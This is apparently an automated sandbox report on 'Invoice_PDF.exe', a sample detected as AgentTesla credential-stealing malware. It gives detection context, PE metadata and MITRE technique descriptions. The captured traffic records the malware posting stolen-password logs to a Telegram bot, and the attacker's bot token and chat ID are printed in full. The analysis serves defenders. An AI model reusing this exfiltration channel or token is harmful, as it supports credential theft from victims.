Classification:	mal100.troj.spyw.evad.winEXE@3/1@1/1
EGA Information:	Failed
HDC Information:	Successful, ratio: 0.3% (good quality ratio 0.1%) Quality average: 24.8% Quality standard deviation: 36.9%
HCA Information:	Successful, ratio: 99% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, HxTsr.exe, RuntimeBroker.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe Excluded domains from analysis (whitelisted): ris.api.iris.microsoft.com, client.wns.windows.com, fs.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com Not all processes where analyzed, report is missing behavior information Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
16:54:51	API Interceptor	701x Sleep call for process: Invoice_PDF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
149.154.167.220	SWIFT_ADVICE.exe	Get hash	malicious	Browse
	Overdue outstanding payment.exe	Get hash	malicious	Browse
	proforma invoice packing list.exe	Get hash	malicious	Browse
	KG236KQE0b.exe	Get hash	malicious	Browse
	TT COPY.exe	Get hash	malicious	Browse
	proforma invoice packing list.exe	Get hash	malicious	Browse
	PROFORMA.EXE	Get hash	malicious	Browse
	Proforma-Invoice CAC1105 CI&PL.exe	Get hash	malicious	Browse
	8VVKoakLYt.exe	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.GenericKD.47502835.19614.exe	Get hash	malicious	Browse
	FedEx Shipment Notification - Air WayBill FED1007990_A10792.exe	Get hash	malicious	Browse
	Quote.exe	Get hash	malicious	Browse
	Dhl delivery Express.exe	Get hash	malicious	Browse
	stampa_CFS-ITALIA_1123311-655.exe	Get hash	malicious	Browse
	Launcher.exe	Get hash	malicious	Browse
	BANKASI 657090031.exe	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Barys.226418.1879.exe	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.GenericKD.38103794.11009.exe	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.SpyBot.1125.26781.exe	Get hash	malicious	Browse
	Emailing Swift.exe	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
api.telegram.org	New Order4687334.exe	Get hash	malicious	Browse	149.154.167.220
	SWIFT_ADVICE.exe	Get hash	malicious	Browse	149.154.167.220
	Overdue outstanding payment.exe	Get hash	malicious	Browse	149.154.167.220
	proforma invoice packing list.exe	Get hash	malicious	Browse	149.154.167.220
	KG236KQE0b.exe	Get hash	malicious	Browse	149.154.167.220
	TT COPY.exe	Get hash	malicious	Browse	149.154.167.220
	Invoice.doc.scr.exe	Get hash	malicious	Browse	149.154.167.220
	proforma invoice packing list.exe	Get hash	malicious	Browse	149.154.167.220
	PROFORMA.EXE	Get hash	malicious	Browse	149.154.167.220
	Proforma-Invoice CAC1105 CI&PL.exe	Get hash	malicious	Browse	149.154.167.220
	8VVKoakLYt.exe	Get hash	malicious	Browse	149.154.167.220
	SecuriteInfo.com.Trojan.GenericKD.47502835.19614.exe	Get hash	malicious	Browse	149.154.167.220
	FedEx Shipment Notification - Air WayBill FED1007990_A10792.exe	Get hash	malicious	Browse	149.154.167.220
	Quote.exe	Get hash	malicious	Browse	149.154.167.220
	Dhl delivery Express.exe	Get hash	malicious	Browse	149.154.167.220
	stampa_CFS-ITALIA_1123311-655.exe	Get hash	malicious	Browse	149.154.167.220
	Launcher.exe	Get hash	malicious	Browse	149.154.167.220
	BANKASI 657090031.exe	Get hash	malicious	Browse	149.154.167.220
	SecuriteInfo.com.Variant.Barys.226418.1879.exe	Get hash	malicious	Browse	149.154.167.220
	SecuriteInfo.com.Trojan.GenericKD.38103794.11009.exe	Get hash	malicious	Browse	149.154.167.220

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
TELEGRAMRU	SWIFT_ADVICE.exe	Get hash	malicious	Browse	149.154.167.220
	Overdue outstanding payment.exe	Get hash	malicious	Browse	149.154.167.220
	proforma invoice packing list.exe	Get hash	malicious	Browse	149.154.167.220
	KG236KQE0b.exe	Get hash	malicious	Browse	149.154.167.220
	TT COPY.exe	Get hash	malicious	Browse	149.154.167.220
	proforma invoice packing list.exe	Get hash	malicious	Browse	149.154.167.220
	PROFORMA.EXE	Get hash	malicious	Browse	149.154.167.220
	Proforma-Invoice CAC1105 CI&PL.exe	Get hash	malicious	Browse	149.154.167.220
	8VVKoakLYt.exe	Get hash	malicious	Browse	149.154.167.220
	SecuriteInfo.com.Trojan.GenericKD.47502835.19614.exe	Get hash	malicious	Browse	149.154.167.220
	nkXzJnW7AH.exe	Get hash	malicious	Browse	149.154.167.99
	FedEx Shipment Notification - Air WayBill FED1007990_A10792.exe	Get hash	malicious	Browse	149.154.167.220
	Quote.exe	Get hash	malicious	Browse	149.154.167.220
	Dhl delivery Express.exe	Get hash	malicious	Browse	149.154.167.220
	stampa_CFS-ITALIA_1123311-655.exe	Get hash	malicious	Browse	149.154.167.220
	Launcher.exe	Get hash	malicious	Browse	149.154.167.220
	BANKASI 657090031.exe	Get hash	malicious	Browse	149.154.167.220
	SecuriteInfo.com.Variant.Barys.226418.1879.exe	Get hash	malicious	Browse	149.154.167.220
	SecuriteInfo.com.Trojan.GenericKD.38103794.11009.exe	Get hash	malicious	Browse	149.154.167.220
	SecuriteInfo.com.Trojan.SpyBot.1125.26781.exe	Get hash	malicious	Browse	149.154.167.220

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	AegEywmjUJ.exe	Get hash	malicious	Browse	149.154.167.220
	3t9XLLs9ae.exe	Get hash	malicious	Browse	149.154.167.220
	mzSVrYKRrI.exe	Get hash	malicious	Browse	149.154.167.220
	SWIFT_ADVICE.exe	Get hash	malicious	Browse	149.154.167.220
	NOTIFICACION DE CITACION No. 0988-02043-2020. OFICINA DE TALENTO HUMANO.exe	Get hash	malicious	Browse	149.154.167.220
	DHL_119040 receipt document,pdf.exe	Get hash	malicious	Browse	149.154.167.220
	WK1CQtJu13.exe	Get hash	malicious	Browse	149.154.167.220
	SecuriteInfo.com.W32.AIDetect.malware1.19028.exe	Get hash	malicious	Browse	149.154.167.220
	support.Client.exe	Get hash	malicious	Browse	149.154.167.220
	ysNX6q4xm1.exe	Get hash	malicious	Browse	149.154.167.220
	YXD40hGJU8.exe	Get hash	malicious	Browse	149.154.167.220
	Orden de Compra -AR95647.exe	Get hash	malicious	Browse	149.154.167.220
	DHL Receipt Document,pdf.exe	Get hash	malicious	Browse	149.154.167.220
	Glory Hack.exe	Get hash	malicious	Browse	149.154.167.220
	GenshinHack.exe	Get hash	malicious	Browse	149.154.167.220
	Overdue outstanding payment.exe	Get hash	malicious	Browse	149.154.167.220
	proforma invoice packing list.exe	Get hash	malicious	Browse	149.154.167.220
	KG236KQE0b.exe	Get hash	malicious	Browse	149.154.167.220
	Gracehealthmi.org7X9YCEB6AI.htm	Get hash	malicious	Browse	149.154.167.220
	iXVF1Qz1k5.exe	Get hash	malicious	Browse	149.154.167.220

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Invoice_PDF.exe.log Download File
Process:	C:\Users\user\Desktop\Invoice_PDF.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.355304211458859
Encrypted:	false
SSDEEP:	24:MLUE4K5E4Ks2E1qE4qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4x84j:MIHK5HKXE1qHiYHKhQnoPtHoxHhAHKzr
MD5:	FED34146BF2F2FA59DCF8702FCC8232E
SHA1:	B03BFEA175989D989850CF06FE5E7BBF56EAA00A
SHA-256:	123BE4E3590609A008E85501243AF5BC53FA0C26C82A92881B8879524F8C0D5C
SHA-512:	1CC89F2ED1DBD70628FA1DC41A32BA0BFA3E81EAE1A1CF3C5F6A48F2DA0BF1F21A5001B8A18B04043C5B8FE4FBE663068D86AA8C4BD8E17933F75687C3178FF6
Malicious:	true
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.900031011690095
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	Invoice_PDF.exe
File size:	584704
MD5:	1dcc43f272f66d8e5afe11e7276dd122
SHA1:	cb6a88d1443e7cca944a4176e2a8ebc205f715e3
SHA256:	0c6a99b9327cbcb0f3c5b18bc93d347ec8adcb3686e562c515ee4388713e8ed7
SHA512:	d3b4b4c93a0b1be2b3effe11e1a4db954f65dc9edf722310ee43defa5cecce6f717fc518b9735c71ef4fac53202c3d314ee6e7e0aab789bc881e4eab6e65a111
SSDEEP:	12288:iRyDALnKCZh9TgD29MIY9s0cWEq84Xs10/FKVKmyglGETvHrJrEvE:Yp/jTg6Kxs0cABXe0/Fu3/TlEM
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...'..a..............0.................. ........@.. .......................@............@................................

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General
Entrypoint:	0x48fe8e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x619DD327 [Wed Nov 24 05:52:39 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
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Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8fe34	0x57	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x90000	0x610	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x92000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x8de94	0x8e000	False	0.927531497579	data	7.91118342624	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rsrc	0x90000	0x610	0x800	False	0.33984375	data	3.45406453385	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x92000	0xc	0x200	False	0.044921875	data	0.101910425663	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_VERSION	0x900a0	0x380	data
RT_MANIFEST	0x90420	0x1ea	XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
LegalCopyright	Real Estate LTD
Assembly Version	2.9.0.0
InternalName	OverlappedDa.exe
FileVersion	2.8.2.0
CompanyName	Buena Vista Realty Service
LegalTrademarks
Comments
ProductName	ObjectHolderList
ProductVersion	2.8.2.0
FileDescription	ObjectHolderList
OriginalFilename	OverlappedDa.exe

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 2, 2021 16:56:42.434241056 CET	49813	443	192.168.2.5	149.154.167.220
Dec 2, 2021 16:56:42.434289932 CET	443	49813	149.154.167.220	192.168.2.5
Dec 2, 2021 16:56:42.434371948 CET	49813	443	192.168.2.5	149.154.167.220
Dec 2, 2021 16:56:42.534015894 CET	49813	443	192.168.2.5	149.154.167.220
Dec 2, 2021 16:56:42.534053087 CET	443	49813	149.154.167.220	192.168.2.5
Dec 2, 2021 16:56:42.602024078 CET	443	49813	149.154.167.220	192.168.2.5
Dec 2, 2021 16:56:42.602269888 CET	49813	443	192.168.2.5	149.154.167.220
Dec 2, 2021 16:56:42.606867075 CET	49813	443	192.168.2.5	149.154.167.220
Dec 2, 2021 16:56:42.606899023 CET	443	49813	149.154.167.220	192.168.2.5
Dec 2, 2021 16:56:42.607336044 CET	443	49813	149.154.167.220	192.168.2.5
Dec 2, 2021 16:56:42.650398970 CET	49813	443	192.168.2.5	149.154.167.220
Dec 2, 2021 16:56:44.186492920 CET	49813	443	192.168.2.5	149.154.167.220
Dec 2, 2021 16:56:44.216207981 CET	443	49813	149.154.167.220	192.168.2.5
Dec 2, 2021 16:56:44.218369961 CET	49813	443	192.168.2.5	149.154.167.220
Dec 2, 2021 16:56:44.260874033 CET	443	49813	149.154.167.220	192.168.2.5
Dec 2, 2021 16:56:44.311028957 CET	443	49813	149.154.167.220	192.168.2.5
Dec 2, 2021 16:56:44.311120033 CET	443	49813	149.154.167.220	192.168.2.5
Dec 2, 2021 16:56:44.311306000 CET	49813	443	192.168.2.5	149.154.167.220
Dec 2, 2021 16:56:44.312737942 CET	49813	443	192.168.2.5	149.154.167.220

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 2, 2021 16:56:42.256400108 CET	55016	53	192.168.2.5	8.8.8.8
Dec 2, 2021 16:56:42.275835037 CET	53	55016	8.8.8.8	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Dec 2, 2021 16:56:42.256400108 CET	192.168.2.5	8.8.8.8	0x6c77	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Dec 2, 2021 16:56:42.275835037 CET	8.8.8.8	192.168.2.5	0x6c77	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

api.telegram.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49813	149.154.167.220	443	C:\Users\user\Desktop\Invoice_PDF.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-02 15:56:44 UTC	0	OUT	POST /bot1900392974:AAEB_yGGlWksNcNC4Dg08OgUSlmDON2w098/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8d9b5ce0c4c9d6d Host: api.telegram.org Content-Length: 1009 Expect: 100-continue Connection: Keep-Alive
2021-12-02 15:56:44 UTC	0	IN	HTTP/1.1 100 Continue
2021-12-02 15:56:44 UTC	0	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 62 35 63 65 30 63 34 63 39 64 36 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 31 39 35 32 31 36 31 31 35 34 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 62 35 63 65 30 63 34 63 39 64 36 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 50 57 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 55 73 65 72 20 4e 61 6d 65 3a 20 61 6c 66 6f 6e 73 2f 31 32 38 37 35 37 0a 4f 53 46 75 6c Data Ascii: -----------------------------8d9b5ce0c4c9d6dContent-Disposition: form-data; name="chat_id"1952161154-----------------------------8d9b5ce0c4c9d6dContent-Disposition: form-data; name="caption"New PW Recovered!User Name: user/128757OSFul
2021-12-02 15:56:44 UTC	1	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 02 Dec 2021 15:56:44 GMT Content-Type: application/json Content-Length: 606 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":true,"result":{"message_id":442,"from":{"id":1900392974,"is_bot":true,"first_name":"UdLogzx","username":"UdLogzx_bot"},"chat":{"id":1952161154,"first_name":"John","last_name":"ju","type":"private"},"date":1638460604,"document":{"file_name":"user-128757 2021-12-02 07-57-32.html","mime_type":"text/html","file_id":"BQACAgQAAxkDAAIBumGo7LwUeqe_8YHaAhGE1dXH7B9tAAIaEgACKbtIUf8qmO1rIsZlIgQ","file_unique_id":"AgADGhIAAim7SFE","file_size":437},"caption":"New PW Recovered!\n\nUser Name: user/128757\nOSFullName: Microsoft Windows 10 Pro\nCPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz\nRAM: 8191.25 MB"}}

Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Analysis Process: Invoice_PDF.exe PID: 6140 Parent PID: 4684

General

Start time:	16:54:43
Start date:	02/12/2021
Path:	C:\Users\user\Desktop\Invoice_PDF.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Invoice_PDF.exe"
Imagebase:	0xb90000
File size:	584704 bytes
MD5 hash:	1DCC43F272F66D8E5AFE11E7276DD122
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000002.276354246.0000000003021000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.277834680.0000000004029000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000000.00000002.277834680.0000000004029000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Analysis Process: Invoice_PDF.exe PID: 5944 Parent PID: 6140

General

Start time:	16:54:52
Start date:	02/12/2021
Path:	C:\Users\user\Desktop\Invoice_PDF.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\Invoice_PDF.exe
Imagebase:	0xed0000
File size:	584704 bytes
MD5 hash:	1DCC43F272F66D8E5AFE11E7276DD122
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000003.00000000.271867261.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000003.00000000.271867261.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000003.00000000.272301229.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000003.00000000.272301229.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000003.00000002.519916492.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000003.00000002.519916492.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000003.00000000.272859935.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000003.00000000.272859935.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000003.00000000.273395534.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000003.00000000.273395534.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000003.00000002.525641259.0000000003251000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000003.00000002.525641259.0000000003251000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.525641259.0000000003251000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Disassembly

Code Analysis

Reset < >

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
